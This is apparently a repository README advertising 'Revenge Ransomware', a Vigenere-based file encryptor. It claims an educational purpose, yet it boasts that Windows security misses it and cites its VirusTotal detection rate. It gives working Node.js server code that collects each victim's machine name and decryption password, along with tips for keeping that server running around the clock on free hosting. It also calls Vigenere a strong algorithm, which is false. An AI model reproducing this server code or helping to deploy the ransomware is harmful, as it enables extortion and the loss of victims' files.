REVENGE RANSOMEWARE

a vigenere encrypt ransomeware created by me :p, for education purpose. MAKE SURE TO STAR THE REPOSITORY :)

Used Algorithm

Vigenere (which is strong algorithm)

DISCLAIMER

i didnt try this fully, so try it on virtual machine to make sure it works perfectly, If you encounter any problems tell me in issues also i created this only for education purposes, also windows security wont detect this ransomeware :)

Express Node.js Server (To Get The Password For Decrypt) Example:

const express = require("express");
const bodyParser = require("body-parser");
const fs = require("fs");
const app = express();

app.use(express.static(__dirname + "/public"));
app.use(bodyParser.json())
//url.com/new
app.post('/new', (req, res) => {
  var pcname = req.body.user;
  var password = req.body.pass;

  var createStream = fs.createWriteStream(`public/${pcname}.txt`);
  createStream.end();
  
  fs.writeFile(`./public/${pcname}.txt`, `password=${password}`, (err) => {
    if(err) return console.log(err);
    console.log("New Victim !")
  });
  res.send("done")
})

const listener = app.listen(3000, () => {
  console.log("Your app is listening on port 3000");
});

You can use glitch.com or repl.it to create projects to get the decrypt password, if you want fresh project click here for fresh glitch.com project or here for repl.it project, but make sure to make the project 24/7 by using service like uptimerobot.

Detection

15/72 Virustotal Scan Result

Change Log:

Now includes the decryption software :)